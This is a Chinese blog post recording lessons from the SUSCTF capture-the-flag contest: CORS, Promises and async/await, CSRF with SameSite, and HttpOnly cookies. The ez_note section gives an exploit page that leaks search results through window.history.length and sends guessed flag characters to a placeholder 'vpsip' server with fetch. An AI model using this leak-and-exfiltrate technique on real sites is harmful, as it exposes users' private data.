前端学习(susctf)

这比赛一万个前端题,比赛这两天算是终于从0开始学javascript了。把涉及到的一些比较重要的点记录一下

CORS

在simple request中,浏览器发出的请求会默认带上origin。服务器通过返回Access-Control-Allow-Origin控制是否能够访问。下面用xmlhttprequest测试一下
如果被挡,浏览器会报错:
Access to XMLHttpRequest at 'http://vpsip/cors.php' from origin 'http://127.0.0.1:23400' has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value 'http://can.allow' that is not equal to the supplied origin.
浏览器中Origin是改不了的。而这几道题都是bot用浏览器访问,所以要利用一些特性绕过这个cors验证。
比如form表单,request headers里不带origin

js异步编程和回调

很多异步函数底层都是用Promise。下面Promise实现每秒钟输出一个数字的功能(当然这里只写了resolve一个回调函数参数和then一个Promise方法)

const myPromise=()=>{ // 定义一个Promise
    return new Promise((resolve)=>{
        setTimeout(() => {
            resolve('1'); // then回调函数的参数
        }, 1000);
    });
}

myPromise().then((val)=>{
    console.log(val);
    return '2'; // 下一个then回调函数的参数
}).then((val)=>{
    return new Promise(resolve=>{ // 返回一个Promise时,将其给下一个then处理
        setTimeout(()=>{
            console.log(val);
            resolve('3');
        },1000);
    });
}).then((val)=>{
    setTimeout(()=>{
        console.log(val);
    },1000)
});

Promise解决了回调地狱问题,但是结构还是太复杂,于是有了async/await结构。

const doSomethingAsync = (val) => {
  return new Promise(resolve => {
    setTimeout(() => resolve(val), 1000)
  })
}

const doSomething = async () => {// async函数返回一个Promise
  console.log(await doSomethingAsync('1')) // await doSomethingAsync() 返回的是resolve里面的参数
  console.log(await doSomethingAsync('2'))
}

console.log('before')

doSomething();

//和下面的效果是等价的
doSomethingAsync('1').then((val)=>{
  console.log(val);
  return doSomethingAsync('2');
}).then((val)=>{
  console.log(val);
});

console.log('after?')

ez_note

具体到ez_note这题,把bot登录并访问url源码的源码简化一下就是

const login=()=>{
    return new Promise((resolve)=>{
        setTimeout(() => {
            console.log('logined');
            resolve();
        }, 1000);
    });
}

const view=()=>{
    return new Promise((resolve)=>{
        setTimeout(() => {
            console.log('viewed');
            resolve();
        }, 1000);
    });
}

const task=async ()=>{
    await login();
    await view();
    console.log('done');
}

task();

可以看到task虽然是异步执行每一个await,实际上还是按顺序执行的,由于search时只有一个结果会有1秒timeout,这里就有了一个非常浪漫的想法:根据回显时间不同爆破出flag。可惜现实的网络环境过于复杂,1s延时很容易被吃掉,这种方法很难行通。
这题是可以用window.history.length判断回显,有个坑点就是window也有cors,要先吧window跳回同源域或者about:blank才能访问history。最后写的exp如下

<!DOCTYPE html>
<head>
    <script>
        // http://49.232.201.163/sus_note.html
        function sleep(ms){
            return new Promise((resolve)=>{
                setTimeout(() => {
                    resolve();
                }, ms);
            })
        }
        async function guess(done,letter){
            let w=window.open(`http://123.60.29.171:10001/search?q=${done}${letter}`);
            await sleep(1000);
            w.location='/foo.html';
            await sleep(200);
            len=w.history.length;
            w.close();

            fetch(`http://vpsip/?flag=${done}${letter}&len=${len}`);

        }
        async function main(){
            dict='qwertyuioplkjhgfdsazxcvbnm1234567890_}'
            done='SUSCTF{'

            for(let letter of dict){
                guess(done,letter);
            }
        }
    </script>

</head>
<body>
    <script>
        main();
    </script>
</body>

但是bot超2s直接断掉,还是得结合手来xd 懒得弄了

CSRF和samesite

这里的same site要求和前面same origin不一样哦,具体移步搜索引擎
samesite在chrome中默认是lax,几种请求类型在cross-site时区别如下
image

但题目bot应该不是lax而是none,所以我们可以post表单完成csrf

COOKIE劫持

cookie设置了httponly就不能通过js读取cookie,否则直接document.cookie拿当前网站cookie

posted @ 2022-03-02 20:54  KingBridge  阅读(107)  评论(0编辑  收藏  举报